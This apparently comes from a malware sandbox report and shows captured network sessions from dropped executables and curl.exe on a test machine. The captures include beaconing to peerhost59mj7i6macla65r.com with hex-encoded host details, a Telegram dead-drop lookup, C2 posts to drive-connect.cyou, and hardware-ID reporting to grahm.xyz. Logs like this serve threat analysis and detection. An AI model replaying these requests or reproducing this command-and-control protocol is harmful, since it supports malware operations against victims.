2024-12-12 13:26:26 UTC	410	OUT	GET /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 3
2024-12-12 13:26:26 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:26:26 UTC	44	IN	Data Raw: 32 31 0d 0a 5b 41 75 64 69 6f 5d 0a 44 65 66 61 75 6c 74 3d 33 30 0a 41 75 74 6f 3d 31 0a 46 6f 72 63 65 3d 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 21[Audio]Default=30Auto=1Force=00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49813	94.154.172.218	443	7688	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:26:29 UTC	397	OUT	GET /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
2024-12-12 13:26:29 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:26:29 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49826	94.154.172.218	443	5024	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:26:32 UTC	479	OUT	POST /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 1 Content-Length: 0 Content-Type: application/x-www-form-urlencoded
2024-12-12 13:26:32 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:26:32 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49877	149.154.167.99	443	504	C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:26:59 UTC	86	OUT	GET /detct0r HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 13:26:59 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 12 Dec 2024 13:26:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12312 Connection: close Set-Cookie: stel_ssid=abbe50baf4301ca269_15452438587157807974; expires=Fri, 13 Dec 2024 13:26:59 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-12 13:26:59 UTC	12312	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 64 65 74 63 74 30 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @detct0r</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49884	104.21.79.7	443	824	C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drive-connect.cyou
2024-12-12 13:27:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-12 13:27:03 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 13:27:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gs6eomfhvhe19trgr14ekmb3v9; expires=Mon, 07-Apr-2025 07:13:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XTTZbGFANsv8Awq0hcGeYyz24eQEF3Pw1GMfcT%2BmvAQH%2Fb9Y8KcNBHowaOjkV%2BSE5y%2BGeLmOYV8%2FCjJd8SU%2FeO2bIrKl7javTlAEqiSImBRpg%2B0vTJo%2Ba6DVwTW13lNkz%2FtjA2I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0e0cb0e89ac329-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1487&min_rtt=1479&rtt_var=571&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1888745&cwnd=148&unsent_bytes=0&cid=dd8c47656f958aec&ts=2007&x=0"
2024-12-12 13:27:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-12 13:27:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49885	116.203.10.31	443	504	C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:02 UTC	229	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 13:27:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 13:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 13:27:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49900	104.21.79.7	443	824	C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:07 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: drive-connect.cyou
2024-12-12 13:27:07 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-12 13:27:07 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 13:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mp696cijnurc23as51h9q13hva; expires=Mon, 07-Apr-2025 07:13:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2B1rIxPMcO7e0r3H69b%2BWN3LOdTdDrNp6Dnq1NV8lX3kqf%2BPD4iKuTkcF78Q2E7mNANdnAnnJlcAJKCAdzm0RCrz%2BBe00SCcqkGajHRD%2Bz8%2Buyr56knl5fGCcT76BligRsJdnr8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0e0cceecbb8c7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1979&min_rtt=1973&rtt_var=752&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=948&delivery_rate=1443400&cwnd=237&unsent_bytes=0&cid=543f6fc03f3235b7&ts=721&x=0"
2024-12-12 13:27:07 UTC	348	IN	Data Raw: 34 39 31 63 0d 0a 65 79 68 4c 62 5a 64 50 64 52 33 31 6a 54 70 2b 65 78 49 50 50 38 4b 6e 53 41 76 67 69 6e 72 39 54 78 75 4f 6e 62 66 66 71 45 45 41 43 6a 31 50 72 58 74 5a 50 34 62 6f 47 45 51 50 59 48 70 61 37 6f 55 70 62 38 4b 77 48 4a 77 6a 61 4f 75 78 6c 61 6e 46 59 30 46 4f 4b 67 48 6b 4b 6c 6b 2f 6b 50 55 59 52 43 42 70 4c 56 71 73 68 58 49 70 68 65 41 59 6e 43 4e 35 37 2f 62 59 72 38 51 69 45 30 51 73 42 66 49 73 45 58 79 5a 34 46 38 62 48 6e 4e 6c 55 61 76 4b 49 47 62 43 70 6c 69 59 4e 54 6d 30 76 2f 71 36 33 43 41 32 53 54 67 47 74 54 4a 5a 5a 74 66 6f 56 46 78 42 4d 47 35 61 6f 4d 73 75 62 34 76 69 45 70 55 72 65 4f 72 33 78 37 62 4f 4b 52 4e 4b 4c 77 54 34 4a 51 56 78 6b 2b 64 55 48 52 52 7a 4c 52 50 67 77 6a 49 70 32 71 68 4c 72 53 35 6f 2f Data Ascii: 491ceyhLbZdPdR31jTp+exIPP8KnSAvginr9TxuOnbffqEEACj1PrXtZP4boGEQPYHpa7oUpb8KwHJwjaOuxlanFY0FOKgHkKlk/kPUYRCBpLVqshXIpheAYnCN57/bYr8QiE0QsBfIsEXyZ4F8bHnNlUavKIGbCpliYNTm0v/q63CA2STgGtTJZZtfoVFxBMG5aoMsub4viEpUreOr3x7bOKRNKLwT4JQVxk+dUHRRzLRPgwjIp2qhLrS5o/
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 45 4b 4c 77 48 30 49 42 64 74 6e 2b 52 54 47 51 74 37 5a 46 43 74 78 53 64 6a 6a 65 73 59 6d 43 64 7a 34 2f 58 52 73 4d 63 6c 47 55 70 70 51 62 55 71 44 7a 2f 50 72 33 73 5a 43 58 64 68 53 2b 4c 2f 61 6e 62 4d 38 56 69 59 49 54 6d 30 76 39 32 34 79 53 41 53 52 53 6f 48 2f 6a 38 58 62 5a 48 69 58 51 34 66 64 57 4e 58 6f 39 63 67 5a 34 54 72 45 5a 51 6b 66 4f 76 37 6c 66 4f 4b 4a 41 45 4b 63 55 2f 55 49 42 78 7a 6e 66 68 59 58 41 59 2b 64 42 32 6e 79 57 6f 78 77 75 77 5a 6d 79 78 39 34 76 48 52 73 63 77 74 46 45 55 76 42 66 55 71 48 58 65 66 37 6c 55 58 46 6e 42 6f 55 4b 54 44 4a 6d 69 48 71 46 62 66 4b 6d 47 73 70 35 57 54 7a 53 41 4c 43 42 77 4d 2b 79 4d 51 61 64 66 77 46 67 56 5a 64 32 45 64 2b 49 55 6b 62 49 33 36 47 59 30 6f 64 2f 37 7a 30 4c 76 48 49 Data Ascii: EKLwH0IBdtn+RTGQt7ZFCtxSdjjesYmCdz4/XRsMclGUppQbUqDz/Pr3sZCXdhS+L/anbM8ViYITm0v924ySASRSoH/j8XbZHiXQ4fdWNXo9cgZ4TrEZQkfOv7lfOKJAEKcU/UIBxznfhYXAY+dB2nyWoxwuwZmyx94vHRscwtFEUvBfUqHXef7lUXFnBoUKTDJmiHqFbfKmGsp5WTzSALCBwM+yMQadfwFgVZd2Ed+IUkbI36GY0od/7z0LvHI
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 4d 2b 79 4d 51 61 64 66 77 46 67 56 5a 64 32 45 64 2b 49 55 6e 59 59 66 74 46 35 34 6e 64 2b 6e 31 32 62 58 45 49 41 74 46 4c 51 2f 35 4a 52 31 79 6d 65 74 51 46 52 4a 37 61 31 32 68 7a 32 6f 6e 77 75 38 41 33 33 55 35 32 50 6a 5a 73 4d 56 68 4c 45 6b 6e 41 66 49 37 56 32 44 5a 39 68 67 62 46 54 41 31 48 61 7a 4d 4b 6d 4b 49 37 42 69 59 49 48 7a 76 2b 4e 61 77 7a 53 6b 58 54 53 30 44 2f 43 41 52 66 35 44 72 58 51 34 63 65 57 46 52 34 49 74 71 62 70 71 6f 51 4e 38 43 66 76 72 38 2b 72 37 62 4b 6c 6c 56 5a 78 61 31 4b 68 73 2f 7a 36 39 66 47 52 46 37 61 31 57 67 31 79 39 6e 69 65 6b 53 6d 53 78 30 34 50 6e 56 76 4d 6f 6c 46 55 6f 75 43 4f 63 2f 45 6e 6d 46 35 52 68 53 57 58 64 31 48 66 69 46 48 48 6d 56 2b 51 37 64 47 48 72 69 38 64 4b 72 69 6a 78 58 55 32 Data Ascii: M+yMQadfwFgVZd2Ed+IUnYYftF54nd+n12bXEIAtFLQ/5JR1ymetQFRJ7a12hz2onwu8A33U52PjZsMVhLEknAfI7V2DZ9hgbFTA1HazMKmKI7BiYIHzv+NawzSkXTS0D/CARf5DrXQ4ceWFR4ItqbpqoQN8Cfvr8+r7bKllVZxa1Khs/z69fGRF7a1Wg1y9niekSmSx04PnVvMolFUouCOc/EnmF5RhSWXd1HfiFHHmV+Q7dGHri8dKrijxXU2
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 48 57 32 66 34 56 55 58 46 6e 74 2f 58 61 33 42 4a 6d 32 4b 34 78 4c 66 59 7a 6e 72 35 35 58 6c 69 68 59 55 52 53 6b 4d 34 32 30 49 4d 59 36 76 58 78 42 5a 4b 43 31 52 72 73 55 6c 5a 59 37 6a 45 4a 34 68 64 2b 76 36 33 4c 58 43 4d 52 68 4f 49 51 37 37 49 68 5a 37 6b 75 70 63 47 78 31 32 59 68 33 75 68 53 31 78 77 72 42 59 73 41 70 4d 72 74 37 76 2f 64 56 74 41 41 6f 75 41 37 56 31 56 33 4f 55 34 31 41 54 48 33 6c 68 56 36 6e 4f 4a 6d 4b 47 35 42 47 61 4b 33 6a 70 2b 74 53 35 78 69 6b 66 53 53 6f 41 2b 69 49 66 50 39 6d 76 58 77 52 5a 4b 43 31 34 74 38 34 6b 62 38 4c 33 56 6f 5a 74 66 75 43 2f 6a 66 33 47 4b 68 39 4d 4c 41 50 30 4b 78 39 36 6e 2b 74 5a 47 68 39 7a 59 6c 6d 6c 78 43 56 74 6a 75 59 53 6e 69 78 31 35 2f 44 65 75 49 70 74 57 55 30 78 54 36 31 Data Ascii: HW2f4VUXFnt/Xa3BJm2K4xLfYznr55XlihYURSkM420IMY6vXxBZKC1RrsUlZY7jEJ4hd+v63LXCMRhOIQ77IhZ7kupcGx12Yh3uhS1xwrBYsApMrt7v/dVtAAouA7V1V3OU41ATH3lhV6nOJmKG5BGaK3jp+tS5xikfSSoA+iIfP9mvXwRZKC14t84kb8L3VoZtfuC/jf3GKh9MLAP0Kx96n+tZGh9zYlmlxCVtjuYSnix15/DeuIptWU0xT61
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 2b 68 64 46 78 5a 38 4c 52 50 67 77 6a 49 70 32 71 67 32 6c 44 35 75 37 2f 48 65 71 39 46 6a 42 67 51 77 54 2f 49 68 56 79 66 58 37 46 4d 58 48 58 42 68 58 61 54 49 4b 6e 75 4e 37 78 2b 57 4a 6d 76 6d 2b 4e 4b 32 77 69 67 57 54 44 73 44 2b 7a 38 53 62 59 57 76 46 6c 77 65 61 43 30 46 34 50 4d 74 65 5a 4c 72 57 71 34 37 65 76 72 30 32 4c 47 4b 50 46 64 54 61 51 6a 35 62 55 38 2f 6b 65 42 52 48 78 5a 78 5a 46 47 74 77 43 4e 73 67 2b 34 63 6c 53 64 35 36 76 6e 55 75 4d 41 67 47 45 41 67 43 50 30 71 46 47 33 58 6f 52 67 62 41 54 41 31 48 59 6e 43 4f 47 65 53 71 41 66 52 4e 44 6e 72 38 35 58 6c 69 69 63 54 52 53 30 49 2b 53 73 53 65 5a 72 75 56 78 30 5a 66 32 6c 57 71 63 4d 72 5a 49 66 6c 48 49 30 6e 63 75 50 7a 33 4c 48 48 59 31 63 4b 4c 68 65 31 64 56 64 4f Data Ascii: +hdFxZ8LRPgwjIp2qg2lD5u7/Heq9FjBgQwT/IhVyfX7FMXHXBhXaTIKnuN7x+WJmvm+NK2wigWTDsD+z8SbYWvFlweaC0F4PMteZLrWq47evr02LGKPFdTaQj5bU8/keBRHxZxZFGtwCNsg+4clSd56vnUuMAgGEAgCP0qFG3XoRgbATA1HYnCOGeSqAfRNDnr85XliicTRS0I+SsSeZruVx0Zf2lWqcMrZIflHI0ncuPz3LHHY1cKLhe1dVdO
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 45 54 59 6d 64 57 70 63 67 6e 5a 49 48 75 48 70 51 68 61 2b 58 2f 31 72 61 4b 62 56 6c 4e 4d 55 2b 74 62 54 52 6f 67 65 56 66 45 41 39 37 62 46 36 32 79 44 6f 70 7a 4b 67 4a 6d 44 77 35 74 4f 6e 46 71 73 30 38 56 31 4e 70 43 50 6c 74 54 7a 2b 52 35 6c 34 62 48 33 35 2f 57 4b 62 4b 4a 57 43 4c 37 42 43 63 4c 58 33 6f 2b 4e 43 2b 78 69 67 65 53 53 59 4c 2f 43 4d 65 63 4e 65 68 47 42 73 42 4d 44 55 64 67 64 34 70 5a 59 2b 6f 42 39 45 30 4f 65 76 7a 6c 65 57 4b 4c 78 64 50 4b 51 58 7a 4b 52 4a 35 6e 65 70 59 46 78 70 2f 61 56 75 6b 79 69 70 69 69 2b 6b 65 6d 69 64 79 36 76 4c 57 75 38 78 6a 56 77 6f 75 46 37 56 31 56 31 2b 4d 34 6c 51 62 57 57 38 6a 52 4f 44 43 4a 69 6e 61 71 42 4f 54 4b 58 37 73 38 74 61 31 7a 79 63 54 54 79 6b 48 35 79 55 58 65 49 58 39 57 Data Ascii: ETYmdWpcgnZIHuHpQha+X/1raKbVlNMU+tbTRogeVfEA97bF62yDopzKgJmDw5tOnFqs08V1NpCPltTz+R5l4bH35/WKbKJWCL7BCcLX3o+NC+xigeSSYL/CMecNehGBsBMDUdgd4pZY+oB9E0OevzleWKLxdPKQXzKRJ5nepYFxp/aVukyipii+kemidy6vLWu8xjVwouF7V1V1+M4lQbWW8jRODCJinaqBOTKX7s8ta1zycTTykH5yUXeIX9W
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 31 48 5a 36 46 4f 47 71 53 36 78 65 4f 45 7a 6d 30 35 75 76 39 77 54 55 65 57 69 6f 5a 2f 69 41 62 62 71 6d 76 41 45 68 4c 49 6a 38 50 38 74 70 71 64 72 32 6d 57 4a 35 74 49 64 58 6d 6c 61 75 4b 65 30 73 45 61 52 32 31 64 56 63 34 6c 50 31 4b 47 68 70 6d 62 68 71 65 2b 77 31 2f 69 4f 38 49 6d 44 70 32 72 4c 47 56 73 6f 70 37 49 41 6f 67 43 4f 34 38 41 58 4b 48 36 42 67 6a 56 7a 42 31 48 66 69 46 48 32 71 4d 35 68 2b 4a 50 44 54 4c 36 64 2b 36 32 69 51 4f 52 57 6c 42 74 53 74 58 4a 38 53 68 47 42 67 49 4d 44 55 4e 38 70 35 2f 4f 74 57 34 53 6f 42 6a 59 4b 7a 70 6c 65 57 59 62 56 6c 59 61 56 65 31 61 68 52 74 68 65 6c 62 43 68 6f 33 55 32 4f 48 33 79 64 76 6c 66 6b 6d 6f 53 70 6a 34 66 6e 43 72 49 59 32 47 6b 51 6e 43 4f 4e 74 57 54 2b 59 72 77 41 6c 57 54 Data Ascii: 1HZ6FOGqS6xeOEzm05uv9wTUeWioZ/iAbbqmvAEhLIj8P8tpqdr2mWJ5tIdXmlauKe0sEaR21dVc4lP1KGhpmbhqe+w1/iO8ImDp2rLGVsop7IAogCO48AXKH6BgjVzB1HfiFH2qM5h+JPDTL6d+62iQORWlBtStXJ8ShGBgIMDUN8p5/OtW4SoBjYKzpleWYbVlYaVe1ahRthelbCho3U2OH3ydvlfkmoSpj4fnCrIY2GkQnCONtWT+YrwAlWT
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 6e 58 6f 37 32 62 31 4c 79 48 30 72 38 37 48 4d 2f 64 78 6a 51 52 68 6e 54 2b 64 74 54 7a 2f 51 37 45 6f 4f 48 33 4e 37 58 75 66 37 46 45 36 4d 37 78 6d 4a 50 57 37 6a 77 65 75 6f 79 53 30 58 54 54 38 65 74 57 4e 58 63 4e 65 33 59 56 78 52 4d 46 49 54 34 4e 31 71 4d 63 4c 64 47 35 45 6a 66 76 72 75 6d 4a 72 45 4a 42 68 63 4f 52 6a 36 62 56 6b 2f 6b 61 38 41 54 6c 63 77 61 55 7a 67 6e 58 6f 37 32 62 31 4c 79 48 30 72 38 37 48 4d 2f 64 78 6a 51 52 68 6e 54 2b 64 74 54 7a 2f 51 37 45 6f 4f 48 33 4e 37 58 75 66 37 46 45 36 4d 37 78 6d 4a 50 57 37 6a 73 50 75 4c 36 78 30 6e 58 79 6f 42 2b 79 6f 42 62 74 65 68 47 42 4e 5a 4b 46 51 64 36 49 55 56 4a 38 4c 77 57 4d 64 74 54 4f 2f 78 32 37 72 63 4d 6c 52 74 4a 77 6a 30 4f 77 64 6f 6d 4b 42 32 4b 6a 67 77 49 78 32 Data Ascii: nXo72b1LyH0r87HM/dxjQRhnT+dtTz/Q7EoOH3N7Xuf7FE6M7xmJPW7jweuoyS0XTT8etWNXcNe3YVxRMFIT4N1qMcLdG5EjfvrumJrEJBhcORj6bVk/ka8ATlcwaUzgnXo72b1LyH0r87HM/dxjQRhnT+dtTz/Q7EoOH3N7Xuf7FE6M7xmJPW7jsPuL6x0nXyoB+yoBbtehGBNZKFQd6IUVJ8LwWMdtTO/x27rcMlRtJwj0OwdomKB2KjgwIx2
2024-12-12 13:27:07 UTC	1369	IN	Data Raw: 59 58 57 4a 72 49 2f 66 76 7a 38 6c 34 7a 63 49 42 6c 45 4c 6b 2b 37 62 51 38 2f 7a 36 39 31 44 68 35 67 62 68 33 75 68 53 59 70 32 71 67 56 6a 53 70 70 37 37 50 53 70 38 31 6a 42 67 51 77 54 2b 4e 74 54 79 7a 5a 72 30 70 63 51 54 41 71 55 36 33 45 4b 57 65 42 2b 67 71 5a 4c 6d 2f 76 75 4f 75 44 35 7a 45 65 57 69 70 4e 78 43 41 54 61 59 4c 73 53 42 73 6e 54 6b 42 50 70 39 55 70 4b 36 37 76 46 5a 4d 54 52 39 76 75 30 71 32 49 42 52 70 63 4b 6b 2b 37 62 51 38 2f 7a 36 39 31 44 68 35 67 62 68 2b 4d 77 69 64 6c 77 76 64 57 68 6d 31 76 72 4b 65 47 38 34 6f 78 57 52 4a 70 53 50 59 2f 42 58 6d 55 2b 56 74 62 4a 30 35 41 54 36 66 56 4b 53 75 7a 35 52 79 4a 4f 48 72 38 2b 4f 75 44 35 7a 45 65 57 69 70 4e 30 42 64 56 54 6f 48 73 57 42 49 65 4d 43 4d 64 75 49 56 79 Data Ascii: YXWJrI/fvz8l4zcIBlELk+7bQ8/z691Dh5gbh3uhSYp2qgVjSpp77PSp81jBgQwT+NtTyzZr0pcQTAqU63EKWeB+gqZLm/vuOuD5zEeWipNxCATaYLsSBsnTkBPp9UpK67vFZMTR9vu0q2IBRpcKk+7bQ8/z691Dh5gbh+MwidlwvdWhm1vrKeG84oxWRJpSPY/BXmU+VtbJ05AT6fVKSuz5RyJOHr8+OuD5zEeWipN0BdVToHsWBIeMCMduIVy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49898	116.203.10.31	443	504	C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:27:07 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----NYCBAAI58YMYM7QQ9ZM7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 13:27:07 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 59 43 42 41 41 49 35 38 59 4d 59 4d 37 51 51 39 5a 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 30 35 38 44 30 43 33 45 33 33 32 36 33 32 34 32 37 36 35 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4e 59 43 42 41 41 49 35 38 59 4d 59 4d 37 51 51 39 5a 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4e 59 43 42 41 41 49 35 38 59 4d 59 4d 37 51 51 39 5a 4d 37 2d 2d 0d Data Ascii: ------NYCBAAI58YMYM7QQ9ZM7Content-Disposition: form-data; name="hwid"67058D0C3E332632427659-a33c7340-61ca------NYCBAAI58YMYM7QQ9ZM7Content-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------NYCBAAI58YMYM7QQ9ZM7--
2024-12-12 13:27:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 13:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 13:27:08 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 33 64 31 63 66 65 37 35 35 33 39 64 66 34 66 61 38 33 39 32 38 31 39 38 62 32 62 37 33 66 61 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c3d1cfe75539df4fa83928198b2b73fa\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49899	94.154.172.218	443	2124	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
